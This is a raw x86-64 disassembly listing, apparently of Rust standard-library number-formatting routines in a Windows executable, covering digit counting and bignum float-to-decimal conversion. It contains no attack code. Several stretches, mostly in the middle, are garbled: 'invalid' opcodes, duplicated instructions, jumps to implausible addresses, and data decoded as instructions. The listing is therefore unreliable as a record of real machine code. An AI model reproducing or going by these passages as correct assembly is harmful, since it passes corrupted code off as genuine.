je 0x14001f8ee
shl r13, 3
lea rcx, [r13*2]
add byte [rax], al
add byte [rcx + rax - 0x17], cl
add byte [rax], al
add byte [rcx + rax - 0x17], cl
xor edx, edx
jmp 0x14001f891
mov r8, qword [r14 + rdx + 0x10]
add rbx, r8
add rdx, 0x18
ret 0x4818
cmp ecx, edx
je 0x14001f8ee
ret 0x4818
movzx r8d, word [r14 + rdx]
test r8, r8
je 0x14001f8d0
cmp r8d, 1
jne 0x14001f880
movzx r9d, word [r14 + rdx + 2]
cmp r9d, 0x3e8
jae 0x14001f8d7
mov r8d, 1
cmp r9w, 0xa
jb 0x14001f885
cmp r9w, 0x64
mov r8d, 3
jmp 0x14001f8e8
mov r8, qword [r14 + rdx + 8]
jmp 0x14001f885
movzx r8d, r9w
cmp r8d, 0x2710
mov r8d, 5
sbb r8, 0
jmp 0x14001f885
sub r15, rbx
jbe 0x14001f90f
movzx r13d, al
lea rax, [0x14008db40]
movsxd rcx, dword [rax + r13*4]
add rcx, rax
jmp rcx
mov r13, r15
xor r15d, r15d
jmp case.0x14001f905.0
mov rcx, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
lea r8, [rsp + 0x28]
call 0x14001f9d0
mov dword [rsi + 0x30], ebp
mov byte [rsi + 0x38], r12b
jmp 0x14001f97a
mov r13, r15
shr r13, 1
inc r15
shr r15, 1
mov rbx, qword [rsi + 0x20]
mov r14, qword [rsi + 0x28]
inc r13
nop word cs:[rax + rax]
dec r13
je 0x14001f964
mov rcx, rbx
mov edx, edi
call qword [r14 + 0x20]
test al, al
je 0x14001f950
jmp 0x14001f978
lea r8, [rsp + 0x28]
mov rcx, rbx
mov rdx, r14
call 0x14001f9d0
test al, al
je 0x14001f98b
mov al, 1
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov byte [rsp + 0x27], r12b
mov r12, r15
neg r12
mov r13, 0xffffffffffffffff
nop dword [rax]
lea rax, [r12 + r13]
cmp rax, 0xffffffffffffffff
je 0x14001f9bc
mov rcx, rbx
mov edx, edi
call qword [r14 + 0x20]
inc r13
test al, al
je 0x14001f9a0
jmp 0x14001f9bf
mov r13, r15
cmp r13, r15
setb al
movzx r12d, byte [rsp + 0x27]
jmp 0x14001f921
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rbx, r8
mov rsi, rdx
mov rdi, rcx
mov r8, qword [r8 + 8]
test r8, r8
je 0x14001fa07
mov rdx, qword [rbx]
mov rcx, rdi
call qword [rsi + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x14001fc05
mov rax, qword [rbx + 0x18]
test rax, rax
je 0x14001fc03
mov r12, qword [rbx + 0x10]
lea rax, [rax + rax*2]
lea r13, [r12 + rax*8]
lea rbx, [0x14007aa20]
lea r14, [rsp + 0x20]
jmp 0x14001fa55
mov rdx, qword [r12 + 8]
mov r8, qword [r12 + 0x10]
mov rcx, rdi
call qword [rsi + 0x18]
test al, al
jne 0x14001fbff
add r12, 0x18
cmp r12, r13
je 0x14001fc03
movzx eax, word [r12]
test rax, rax
je 0x14001fac0
cmp eax, 1
jne 0x14001fa30
movzx eax, word [r12 + 2]
mov byte [rsp + 0x24], 0
mov dword [rsp + 0x20], 0
movzx ecx, word [r12]
test rcx, rcx
je 0x14001fb17
cmp ecx, 1
jne 0x14001fb1e
movzx edx, word [r12 + 2]
cmp edx, 0x3e8
jae 0x14001fb4c
mov ecx, 1
cmp dx, 0xa
jb 0x14001fb63
cmp dx, 0x64
mov ecx, 3
jmp 0x14001fb5a
mov r15, qword [r12 + 8]
cmp r15, 0x41
jb 0x14001faf2
mov rbp, qword [rsi + 0x18]
nop
mov r8d, 0x40
mov rcx, rdi
mov rdx, rbx
call rbp
test al, al
jne 0x14001fbff
add r15, 0xffffffffffffffc0
cmp r15, 0x40
ja 0x14001fad0
jmp 0x14001faff
test r15, r15
je 0x14001fa48
mov rbp, qword [rsi + 0x18]
mov rcx, rdi
mov rdx, rbx
mov r8, r15
call rbp
test al, al
je 0x14001fa48
jmp 0x14001fbff
lea rcx, [r12 + 8]
jmp 0x14001fb23
lea rcx, [r12 + 0x10]
mov rcx, qword [rcx]
cmp rcx, 6
jae 0x14001fc16
test rcx, rcx
je 0x14001fb44
test cl, 1
jne 0x14001fb63
lea rdx, [rsp + rcx]
add rdx, 0x20
jmp 0x14001fb8e
xor r8d, r8d
jmp 0x14001fbf4
movzx ecx, dx
cmp ecx, 0x2710
mov ecx, 5
sbb rcx, 0
test cl, 1
je 0x14001fb3a
lea rdx, [rsp + 0x1f]
add rdx, rcx
movzx r8d, ax
imul r8d, r8d, 0xcccd
shr r8d, 0x13
lea r9d, [r8 + r8]
lea r9d, [r9 + r9*4]
sub eax, r9d
or al, 0x30
mov byte [rsp + rcx + 0x1f], al
mov eax, r8d
mov r8d, 1
cmp rcx, 1
je 0x14001fbf4
nop word [rax + rax]
movzx r8d, ax
imul r9d, r8d, 0xcccd
add byte [rax], al
add byte [rax], al
shr r9d, 0x13
lea r10d, [r9 + r9]
adc al, 9
jmp 0x1548f42c5
adc al, 9
lea r10d, [r10 + r10*4]
sub eax, r10d
or al, 0x30
mov byte [rdx - 1], al
imul eax, r9d, 0x199a
rcr dword [rdx - 0x3effffe7], 0xe8
invalid
rcr dword [rdx - 0x3effffe7], 0xe8
jae 0x1448ffaae
and eax, 0xfffffffe
invalid
invalid
add cl, al
call 0x13ee27edb
and eax, 0xfffffffe
and eax, 0xfffffffe
lea eax, [rax + rax*4]
add al, 0x80
add byte [rcx + 0x29], 0xc1
sub r9d, eax
or r9b, 0x30
mov byte [rdx - 2], r9b
add rdx, 0xfffffffffffffffe
inc byte [rcx - 0x3f]
call 0x1006b3ce7
add al, byte [rcx + 0x69]
sar byte [rbx + 0x14], 0
jnp 0x14001fbfb
add byte [rax], al
inc byte [rcx - 0x3f]
call 0x1006b3ce7
add al, byte [rcx + 0x69]
invalid
add al, byte [rcx + 0x69]
sar byte [rbx + 0x14], 0
jnp 0x14001fbfb
add byte [rax], al
shr eax, 0x11
cmp rdx, r14
jnp 0x14001fbfb
add byte [rax], al
shr eax, 0x11
cmp rdx, r14
jne 0x14001fba0
mov r8, rcx
mov rcx, rdi
mov ecx, edi
mov rdx, r14
jmp 0x14001fa3d
bnd jmp 0x14001fa3d
invalid
mov al, 1
jmp 0x14001fc05
xor eax, eax
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, [0x14007aa60]
mov edx, 5
call fcn.140073730
int3
push rdi
push r14
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x7f8
mov r13, rcx
movq rax, xmm1
jle 0x14001fc13
jle 0x14001fc13
mov r12, rax
shr r12, 0x34
and r12d, 0x7ff
lea rcx, [rax + rax]
movabs r10, 0x1ffffffffffffe
and r10, rcx
movabs rcx, 0xfffffffffffff
and rcx, rax
movabs rdx, 0x10000000000000
lea rbp, [rcx + rdx]
test r12d, r12d
cmove rbp, r10
ucomisd xmm1, xmm1
jp case.default.0x14001fcde
movabs rdi, 0x7ff0000000000000
xor r10d, r10d
mov r11, rax
and r11, rdi
setne r10b
lea rsi, [r10*2 + 2]
cmp r11, rdi
mov r11d, 1
cmovne r11, rsi
add r10, 3
test rcx, rcx
cmove r10, r11
dec r10
lea rcx, [0x14008db50]
lea ecx, [0x14008db50]
lea ecx, [0x14008db50]
invalid
movsxd r10, dword [rcx + r10*4]
adc al, 0x91
add r10, rcx
jmp r10
mov cl, 3
jmp 0x14001fce7
mov cl, 4
jmp 0x14001fd2e
add r12d, 0xfffffbcd
test bpl, 1
sete cl
jmp 0x14001fd2e
test bpl, 1
sete cl
lea r11, [rbp*2]
xor r10d, r10d
cmp rbp, rdx
movabs rbp, 0x40000000000000
cmovne rbp, r11
sete r10b
movzx r12d, r12w
sub r12d, r10d
add r12d, 0xfffffbcc
add cl, 0xfe
movzx edx, cl
cmp dl, 3
mov ecx, 3
cmovb ecx, edx
test cl, cl
je 0x14001fdd9
mov r11, rax
shr r11, 0x3f
lea rdx, [0x14007a57a]
lea r10, [0x14008d200]
test r8b, r8b
cmovne r10, rdx
mov edx, 1
cmovne r11, rdx
test rax, rax
lea r8, [0x140082ea1]
cmovns r8, r10
cmp cl, 1
je 0x14001fe1a
movzx eax, cl
cmp eax, 2
jne 0x14001fe44
mov word [rsp + 0x158], 2
test r9, r9
je 0x140020050
lea rax, str.0.NaNinfassertion_failed:_buf.len_____maxlen
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 2
mov word [rsp + 0x170], 0
mov qword [rsp + 0x178], r9
mov edx, 2
jmp 0x14002006b
mov word [rsp + 0x158], 2
lea rax, [0x14007a57b]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 3
mov edx, 1
lea rax, [rsp + 0x158]
lea r8, [0x14008d200]
xor r11d, r11d
jmp 0x14002109b
mov word [rsp + 0x158], 2
lea rax, [0x14007a57e]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 3
jmp 0x14002006b
test r12w, r12w
mov rax, 0xfffffffffffffff4
mov ecx, 5
cmovs rcx, rax
movsx rbx, r12w
imul rcx, rbx
cmp rcx, 0x3ec0
jae 0x140021157
mov qword [rsp + 0x80], r8
mov qword [rsp + 0x88], r11
mov eax, r9d
neg eax
mov qword [rsp + 0x90], r9
cmp r9, 0x8000
mov edx, 0x8000
cmovb edx, eax
mov dword [rsp + 0x54], edx
test rbp, rbp
je 0x14002116f
shr rcx, 4
add rcx, 0x15
mov qword [rsp + 0x58], rcx
mov rdi, rbp
shr rdi, 0x20
mov rax, rbp
shl rax, 0x20
lea ecx, [r12 - 0x20]
test rdi, rdi
cmovne rax, rbp
cmovne ecx, r12d
mov rdx, rax
shr rdx, 0x30
mov r8, rax
shl r8, 0x10
lea r9d, [rcx - 0x10]
test rdx, rdx
cmovne r8, rax
cmovne r9d, ecx
mov rax, r8
shr rax, 0x38
mov rcx, r8
shl rcx, 8
lea edx, [r9 - 8]
test rax, rax
cmovne rcx, r8
cmovne edx, r9d
mov rax, rcx
shr rax, 0x3c
mov r8, rcx
shl r8, 4
test rax, rax
cmovne r8, rcx
lea ecx, [rdx - 4]
cmovne ecx, edx
mov r9, r8
shr r9, 0x3e
lea edx, [rcx - 2]
lea rax, [r8*4]
test r9, r9
cmovne edx, ecx
cmovne rax, r8
xor ecx, ecx
test rax, rax
setns cl
sub edx, ecx
mov r8d, 0xffffffa0
sub r8d, edx
movsx r8d, r8w
lea r8d, [r8 + r8*4]
shl r8d, 4
add r8d, 0x153b0
imul r9, r8, 0x7b4dc993
shl rax, cl
shr r9, 0x26
and r9d, 0xfffffff0
lea r11, [0x140079e98]
mov r8, qword [r9 + r11]
mov r10d, eax
mov rcx, rax
shr rcx, 0x20
mov eax, r8d
shr r8, 0x20
mov rsi, r8
imul rsi, rcx
imul r8, r10
imul rcx, rax
imul rax, r10
shr rax, 0x20
mov r10d, ecx
add r10, rax
mov eax, r8d
add rax, r10
sub rax, 0xffffffff80000000
shr rcx, 0x20
add rcx, rsi
shr r8, 0x20
add r8, rcx
shr rax, 0x20
add rax, r8
movzx ecx, word [r9 + r11 + 8]
add cx, dx
mov edx, 0xffffffc0
sub edx, ecx
movzx r10d, dx
mov r8d, r10d
and r8d, 0x3f
mov rdx, rax
mov ecx, r8d
shr rdx, cl
mov esi, 1
shl rsi, cl
lea r14, [rsi - 1]
mov r15, rax
and r15, r14
mov qword [rsp + 0x78], rdi
je 0x140020078
mov qword [rsp + 0x60], rsi
movzx r9d, word [r9 + r11 + 0xa]
cmp edx, 0x2710
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x68], rbx
jae 0x140020092
cmp edx, 0x64
mov rsi, qword [rsp + 0x58]
jae 0x1400200bd
xor ecx, ecx
cmp edx, 0xa
setae cl
lea r13d, [rcx + rcx*8]
inc r13d
jmp 0x14002011d
lea rax, [0x140082ea2]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
lea rax, [rsp + 0x158]
jmp 0x14002109b
mov qword [rsp + 0x98], 0
mov rsi, qword [rsp + 0x58]
mov edi, dword [rsp + 0x54]
jmp 0x1400203b8
cmp edx, 0xf4240
mov rsi, qword [rsp + 0x58]
jae 0x1400200db
cmp edx, 0x186a0
setb cl
mov r11d, 0x2710
mov r13d, 0x186a0
cmovb r13d, r11d
xor cl, 5
jmp 0x14002011d
cmp edx, 0x3e8
setb cl
mov r11d, 0x64
mov r13d, 0x3e8
cmovb r13d, r11d
xor cl, 3
jmp 0x14002011d
cmp edx, 0x5f5e100
jae 0x140020101
cmp edx, 0x989680
setb cl
mov r11d, 0xf4240
mov r13d, 0x989680
cmovb r13d, r11d
xor cl, 7
jmp 0x14002011d
cmp edx, 0x3b9aca00
setb cl
mov r11d, 0x5f5e100
mov r13d, 0x3b9aca00
cmovb r13d, r11d
xor cl, 9
movzx ecx, cl
mov ebx, ecx
sub ebx, r9d
inc ebx
mov edi, dword [rsp + 0x54]
cmp bx, di
jle 0x1400201b7
movsx rax, bx
mov r9d, ebx
sub r9d, edi
movsx r11, di
sub rax, r11
cmp rax, rsi
movsx r9, r9w
cmovae r9, rsi
neg rcx
mov r11d, 1
mov esi, 0xcccccccd
nop
mov eax, edx
xor edx, edx
div r13d
add al, 0x30
mov byte [rsp + r11 + 0x3f7], al
cmp r9, r11
je 0x140020207
lea rax, [rcx + r11]
cmp rax, 1
je 0x140020305
mov eax, r13d
imul rax, rsi
shr rax, 0x23
inc r11
cmp r13d, 0xa
mov r13d, eax
jae 0x140020160
lea rcx, str.attempt_to_divide_by_zeror9t_Tb_h_RAZTE_H8_g9__v___XG___w_rafN__Kvx__y____95__2J__k9_u2______v_T_eydq_B
lea r8, str.p_vrH___i____z_____c_____N5L__S__db_EoH_U_g__a
mov edx, 0x19
call fcn.1400737b0
movabs rcx, 0xcccccccccccccccd
mul rcx
shr rdx, 3
mov eax, r13d
mov ecx, r8d
shl rax, cl
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x40], rcx
mov word [rsp + 0x28], di
mov word [rsp + 0x20], bx
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x98]
lea rdx, [rsp + 0x3f8]
mov r8, rsi
xor r9d, r9d
jmp 0x140020252
mov eax, edx
mov ecx, r8d
shl rax, cl
add rax, r15
mov edx, r13d
shl rdx, cl
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x40], rcx
mov edi, dword [rsp + 0x54]
mov word [rsp + 0x28], di
mov word [rsp + 0x20], bx
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x98]
lea rdx, [rsp + 0x3f8]
mov rsi, qword [rsp + 0x58]
mov r8, rsi
call fcn.14001c3b0
mov r13, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x98]
test rcx, rcx
mov rbx, qword [rsp + 0x68]
je 0x1400203b8
mov rbp, qword [rsp + 0xa0]
movzx r14d, word [rsp + 0xa8]
cmp r14w, di
jg 0x14002106b
mov word [rsp + 0x158], 2
mov rcx, qword [rsp + 0x90]
test rcx, rcx
je 0x1400202d8
lea rax, str.0.NaNinfassertion_failed:_buf.len_____maxlen
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 2
mov word [rsp + 0x170], 0
mov qword [rsp + 0x178], rcx
mov edx, 2
jmp 0x1400202f8
lea rax, [0x140082ea2]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
mov edx, 1
lea rax, [rsp + 0x158]
jmp 0x14002108b
dec r10d
and r10d, 0x3f
mov eax, 1
mov r13, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x58]
nop dword [rax + rax]
mov rdx, rax
mov ecx, r10d
shr rdx, cl
test rdx, rdx
jne 0x1400203a3
cmp r11, rsi
jae 0x1400210e0
add r15, r15
lea rdx, [r15 + r15*4]
mov r15, rdx
and r15, r14
add rax, rax
lea rax, [rax + rax*4]
mov ecx, r8d
shr rdx, cl
add dl, 0x30
mov byte [rsp + r11 + 0x3f8], dl
inc r11
cmp r9, r11
jne 0x140020320
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
mov edi, dword [rsp + 0x54]
mov word [rsp + 0x28], di
mov word [rsp + 0x20], bx
lea rcx, [rsp + 0x98]
lea rdx, [rsp + 0x3f8]
mov r8, rsi
call fcn.14001c3b0
jmp 0x14002025c
mov qword [rsp + 0x98], 0
mov edi, dword [rsp + 0x54]
mov rbx, qword [rsp + 0x68]
mov rax, rbp
dec rax
je 0x1400203ca
bsr rax, rax
xor rax, 0x3f
jmp 0x1400203cf
mov eax, 0x40
sub rbx, rax
imul rax, rbx, 0x4d104d42
movabs r14, 0x1344135080
add r14, rax
shr r14, 0x20
xor eax, eax
xor ecx, ecx
mov rdx, qword [rsp + 0x78]
test rdx, rdx
cmove edx, eax
setne cl
inc rcx
mov qword [rsp + 0x150], rcx
mov dword [rsp + 0xb0], ebp
mov dword [rsp + 0xb4], edx
xorps xmm0, xmm0
movups xmmword [rsp + 0xb8], xmm0
movups xmmword [rsp + 0xc8], xmm0
movups xmmword [rsp + 0xd8], xmm0
movups xmmword [rsp + 0xe8], xmm0
movups xmmword [rsp + 0xf8], xmm0
movups xmmword [rsp + 0x108], xmm0
movups xmmword [rsp + 0x118], xmm0
movups xmmword [rsp + 0x128], xmm0
movups xmmword [rsp + 0x138], xmm0
mov qword [rsp + 0x148], 0
movups xmmword [rsp + 0x290], xmm0
movups xmmword [rsp + 0x284], xmm0
movups xmmword [rsp + 0x274], xmm0
movups xmmword [rsp + 0x264], xmm0
movups xmmword [rsp + 0x254], xmm0
movups xmmword [rsp + 0x244], xmm0
movups xmmword [rsp + 0x234], xmm0
movups xmmword [rsp + 0x224], xmm0
movups xmmword [rsp + 0x214], xmm0
movups xmmword [rsp + 0x204], xmm0
mov qword [rsp + 0x2a0], 1
mov dword [rsp + 0x200], 1
test r12w, r12w
js 0x1400204e7
movzx edx, r12w
lea rcx, [rsp + 0xb0]
jmp 0x1400204f6
neg r12d
movsx rdx, r12w
lea rcx, [rsp + 0x200]
call fcn.14001c220
mov eax, r14d
neg eax
test r14w, r14w
cmovns rax, r14
lea r15, [rsp + 0x200]
lea rcx, [rsp + 0xb0]
cmovns rcx, r15
movzx edx, ax
call fcn.14001bdf0
mov r12, qword [rsp + 0x2a0]
lea rcx, [rsp + 0x158]
mov r8d, 0xa0
mov rdx, r15
call fcn.1400712b0
mov qword [rsp + 0x1f8], r12
movabs r9, 0x44b82fa09b5a53
mov rcx, r12
mov r8, rsi
cmp rcx, 0x29
jae 0x1400205bb
test rcx, rcx
je 0x1400205a3
shl rcx, 2
xor r10d, r10d
nop dword [rax]
mov eax, dword [rsp + rcx + 0x154]
shl r10, 0x20
or r10, rax
mov rax, r10
shr rax, 9
mul r9
shr rdx, 0xb
imul rax, rdx, 0x3b9aca00
sub r10, rax
mov dword [rsp + rcx + 0x154], edx
add rcx, 0xfffffffffffffffc
jne 0x140020570
add r8, 0xfffffffffffffff7
cmp r8, 9
jbe 0x1400205cc
mov rcx, qword [rsp + 0x1f8]
cmp rcx, 0x29
jb 0x140020560
lea r8, str.WYcm_7_x__U_SGp___ia__h_Bf
mov edx, 0x28
call fcn.140073730
lea rax, [0x140079c88]
mov r8d, dword [rax + r8*4]
test r8, r8
je 0x14002119b
mov rcx, qword [rsp + 0x1f8]
cmp rcx, 0x29
jae 0x1400205bb
test rcx, rcx
je 0x140020636
shl rcx, 2
xor edx, edx
jmp 0x140020612
xor edx, edx
div r8
mov dword [rsp + rcx + 0x154], eax
add rcx, 0xfffffffffffffffc
je 0x14002062c
mov eax, dword [rsp + rcx + 0x154]
shl rdx, 0x20
or rax, rdx
test rdx, rdx
jne 0x140020600
xor edx, edx
div r8d
jmp 0x140020605
mov rax, qword [rsp + 0x1f8]
jmp 0x140020638
xor eax, eax
mov rcx, qword [rsp + 0x150]
cmp rax, rcx
cmovbe rax, rcx
cmp rax, 0x28
ja 0x140021143
test rax, rax
je 0x140020663
cmp rax, 1
jne 0x14002066a
xor edx, edx
xor r8d, r8d
jmp 0x1400206c1
xor eax, eax
jmp 0x14002070e
mov r9, rax
and r9, 0xfffffffffffffffe
xor r8d, r8d
xor edx, edx
nop word cs:[rax + rax]
movzx r8d, r8b
bt r8d, 0
mov r8d, dword [rsp + rdx*4 + 0xb0]
mov r10d, dword [rsp + rdx*4 + 0xb4]
adc dword [rsp + rdx*4 + 0x158], r8d
adc dword [rsp + rdx*4 + 0x15c], r10d
lea rdx, [rdx + 2]
setb r8b
cmp r9, rdx
jne 0x140020680
test al, 1
jne 0x1400206c1
test r8b, r8b
je 0x14002070e
jmp 0x1400206f6
mov r9d, dword [rsp + rdx*4 + 0x158]
mov r10d, dword [rsp + rdx*4 + 0xb0]
lea r11d, [r9 + r10]
movzx esi, r8b
add esi, r11d
setb r8b
mov dword [rsp + rdx*4 + 0x158], esi
add r9d, r10d
mov rsi, qword [rsp + 0x58]
jb 0x1400206f6
test r8b, r8b
je 0x14002070e
cmp rax, 0x27
ja 0x1400210f2
mov dword [rsp + rax*4 + 0x158], 1
inc rax
mov qword [rsp + 0x1f8], rax
cmp rax, r12
cmovbe rax, r12
cmp rax, 0x29
jae 0x140021143
shl rax, 2
mov edx, 0xff
test rax, rax
je 0x140020771
mov r9d, dword [rsp + rax + 0x1fc]
xor r8d, r8d
cmp r9d, dword [rsp + rax + 0x154]
setne r8b
cmova r8d, edx
add rax, 0xfffffffffffffffc
test r8b, r8b
je 0x140020730
cmp r8b, 1
ja 0x14002078a
inc r14d
cmp r14w, di
jge 0x1400207f4
jmp 0x140020e8b
add rax, rsp
add rax, 0x200
cmp rax, r15
setne r8b
neg r8b
cmp r8b, 1
jbe 0x14002075f
test rcx, rcx
je 0x1400207e0
lea rdx, [rcx*4]
xor r8d, r8d
xor eax, eax
nop dword [rax]
mov r9d, dword [rsp + r8 + 0xb0]
lea r9, [r9 + r9*4]
lea rax, [rax + r9*2]
mov dword [rsp + r8 + 0xb0], eax
shr rax, 0x20
add r8, 4
cmp rdx, r8
jne 0x1400207a0
test rax, rax
je 0x1400207e2
cmp rcx, 0x27
ja 0x14002111c
mov dword [rsp + rcx*4 + 0xb0], eax
inc rcx
jmp 0x1400207e2
xor ecx, ecx
mov qword [rsp + 0x150], rcx
cmp r14w, di
jl 0x140020e8b
movsx rax, r14w
mov edx, r14d
sub edx, edi
movsx r8, di
sub rax, r8
cmp rax, rsi
movsx rbp, dx
cmovae rbp, rsi
test rbp, rbp
je 0x140020e8b
lea rsi, [rsp + 0x350]
mov r8d, 0xa0
mov rcx, rsi
mov rdx, r15
call fcn.1400712b0
mov qword [rsp + 0x3f0], r12
mov edx, 1
mov rcx, rsi
call fcn.14001c220
mov rsi, qword [rsp + 0x2a0]
lea rbx, [rsp + 0x2a8]
mov r8d, 0xa0
mov rcx, rbx
mov rdx, r15
call fcn.1400712b0
mov qword [rsp + 0x348], rsi
mov edx, 2
mov rcx, rbx
call fcn.14001c220
mov rsi, qword [rsp + 0x2a0]
mov r8d, 0xa0
lea rbx, [rsp + 0x158]
mov rcx, rbx
mov rdx, r15
call fcn.1400712b0
mov qword [rsp + 0x1f8], rsi
mov edx, 3
mov rcx, rbx
call fcn.14001c220
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x348]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x3f0]
mov qword [rsp + 0x60], rax
mov r12, qword [rsp + 0x2a0]
xor edx, edx
mov rcx, qword [rsp + 0x150]
mov r10d, 0xff
cmp rcx, 0x29
jae 0x1400205bb
mov r11, rdx
inc rdx
lea rax, [rcx*4]
xor esi, esi
nop dword [rax + rax]
cmp rax, rsi
je 0x140020ef3
cmp dword [rsp + rsi + 0xb0], 0
lea rsi, [rsi + 4]
je 0x140020910
mov rax, qword [rsp + 0x78]
cmp rcx, rax
cmova rax, rcx
cmp rax, 0x29
jae 0x140021143
lea rsi, [rax*4]
nop word cs:[rax + rax]
test rsi, rsi
je 0x140020978
mov ebx, dword [rsp + rsi + 0x154]
xor edi, edi
cmp ebx, dword [rsp + rsi + 0xac]
setne dil
cmova edi, r10d
add rsi, 0xfffffffffffffffc
test dil, dil
je 0x140020950
jmp 0x140020994
add rsi, rsp
add rsi, 0x158
lea r8, [rsp + 0x158]
cmp rsi, r8
setne dil
neg dil
cmp dil, 2
jae 0x1400209b2
test rax, rax
je 0x140020a3f
cmp rax, 1
jne 0x1400209bc
mov r8, r13
mov cl, 1
xor esi, esi
jmp 0x140020a0a
xor esi, esi
mov rax, rcx
jmp 0x140020a4a
mov rdi, rax
and rdi, 0xfffffffffffffffe
mov cl, 1
xor esi, esi
nop word [rax + rax]
mov ebx, dword [rsp + rsi*4 + 0x158]
not ebx
movzx ecx, cl
bt ecx, 0
adc dword [rsp + rsi*4 + 0xb0], ebx
mov ecx, dword [rsp + rsi*4 + 0x15c]
not ecx
adc dword [rsp + rsi*4 + 0xb4], ecx
lea rsi, [rsi + 2]
setb cl
cmp rdi, rsi
jne 0x1400209d0
test al, 1
je 0x140020a37
mov r8, r13
mov edi, dword [rsp + rsi*4 + 0x158]
not edi
mov ebx, dword [rsp + rsi*4 + 0xb0]
lea r15d, [rdi + rbx]
movzx r13d, cl
add r13d, r15d
setb cl
mov dword [rsp + rsi*4 + 0xb0], r13d
add edi, ebx
mov r13, r8
jb 0x140020a3f
test cl, cl
je 0x1400211bc
mov qword [rsp + 0x150], rax
mov sil, 8
mov rcx, qword [rsp + 0x68]
cmp rax, rcx
cmova rcx, rax
cmp rcx, 0x29
jae 0x1400205bb
lea rdi, [rcx*4]
nop dword [rax + rax]
test rdi, rdi
je 0x140020a98
mov r15d, dword [rsp + rdi + 0x2a4]
xor ebx, ebx
cmp r15d, dword [rsp + rdi + 0xac]
setne bl
cmova ebx, r10d
add rdi, 0xfffffffffffffffc
test bl, bl
je 0x140020a70
jmp 0x140020ab2
add rdi, rsp
add rdi, 0x2a8
lea r8, [rsp + 0x2a8]
cmp rdi, r8
setne bl
neg bl
cmp bl, 1
ja 0x140020ad7
test rcx, rcx
lea r15, [rsp + 0x200]
je 0x140020b7d
cmp rcx, 1
jne 0x140020ae7
mov r9, r13
mov al, 1
xor edi, edi
jmp 0x140020b3e
mov rcx, rax
lea r15, [rsp + 0x200]
jmp 0x140020b89
mov rbx, rcx
and rbx, 0xfffffffffffffffe
mov al, 1
xor edi, edi
nop word cs:[rax + rax]
mov r8d, dword [rsp + rdi*4 + 0x2a8]
not r8d
movzx eax, al
bt eax, 0
adc dword [rsp + rdi*4 + 0xb0], r8d
mov eax, dword [rsp + rdi*4 + 0x2ac]
not eax
adc dword [rsp + rdi*4 + 0xb4], eax
lea rdi, [rdi + 2]
setb al
cmp rbx, rdi
jne 0x140020b00
test cl, 1
je 0x140020b75
mov r9, r13
mov ebx, dword [rsp + rdi*4 + 0x2a8]
not ebx
mov r15d, dword [rsp + rdi*4 + 0xb0]
lea r13d, [rbx + r15]
movzx r8d, al
add r8d, r13d
setb al
mov dword [rsp + rdi*4 + 0xb0], r8d
add ebx, r15d
mov r13, r9
lea r15, [rsp + 0x200]
jb 0x140020b7d
test al, al
je 0x1400211bc
mov qword [rsp + 0x150], rcx
or sil, 4
mov rax, qword [rsp + 0x60]
cmp rcx, rax
cmova rax, rcx
cmp rax, 0x29
jae 0x140021143
lea rdi, [rax*4]
nop word [rax + rax]
test rdi, rdi
je 0x140020bd8
mov r8d, dword [rsp + rdi + 0x34c]
xor ebx, ebx
cmp r8d, dword [rsp + rdi + 0xac]
setne bl
cmova ebx, r10d
add rdi, 0xfffffffffffffffc
test bl, bl
je 0x140020bb0
jmp 0x140020bf3
lea r8, [rsp + rdi]
add r8, 0x350
lea r9, [rsp + 0x350]
cmp r8, r9
setne bl
neg bl
cmp bl, 1
ja 0x140020c10
test rax, rax
je 0x140020cad
cmp rax, 1
jne 0x140020c18
mov r9, r13
mov cl, 1
xor edi, edi
jmp 0x140020c6d
mov rax, rcx
jmp 0x140020cb9
mov rbx, rax
and rbx, 0xfffffffffffffffe
mov cl, 1
xor edi, edi
nop word cs:[rax + rax]
mov r8d, dword [rsp + rdi*4 + 0x350]
not r8d
movzx ecx, cl
bt ecx, 0
adc dword [rsp + rdi*4 + 0xb0], r8d
mov ecx, dword [rsp + rdi*4 + 0x354]
not ecx
adc dword [rsp + rdi*4 + 0xb4], ecx
lea rdi, [rdi + 2]
setb cl
cmp rbx, rdi
jne 0x140020c30
test al, 1
je 0x140020ca5
mov r9, r13
mov r8d, dword [rsp + rdi*4 + 0x350]
not r8d
mov ebx, dword [rsp + rdi*4 + 0xb0]
lea r15d, [r8 + rbx]
movzx r13d, cl
add r13d, r15d
setb cl
mov dword [rsp + rdi*4 + 0xb0], r13d
add r8d, ebx
mov r13, r9
lea r15, [rsp + 0x200]
jb 0x140020cad
test cl, cl
je 0x1400211bc
mov qword [rsp + 0x150], rax
add sil, 2
cmp rax, r12
mov rcx, r12
cmova rcx, rax
cmp rcx, 0x29
jae 0x1400205bb
lea rdi, [rcx*4]
nop word cs:[rax + rax]
test rdi, rdi
je 0x140020d08
mov r8d, dword [rsp + rdi + 0x1fc]
xor ebx, ebx
cmp r8d, dword [rsp + rdi + 0xac]
setne bl
cmova ebx, r10d
add rdi, 0xfffffffffffffffc
test bl, bl
je 0x140020ce0
jmp 0x140020d1b
lea r8, [rsp + rdi]
add r8, 0x200
cmp r8, r15
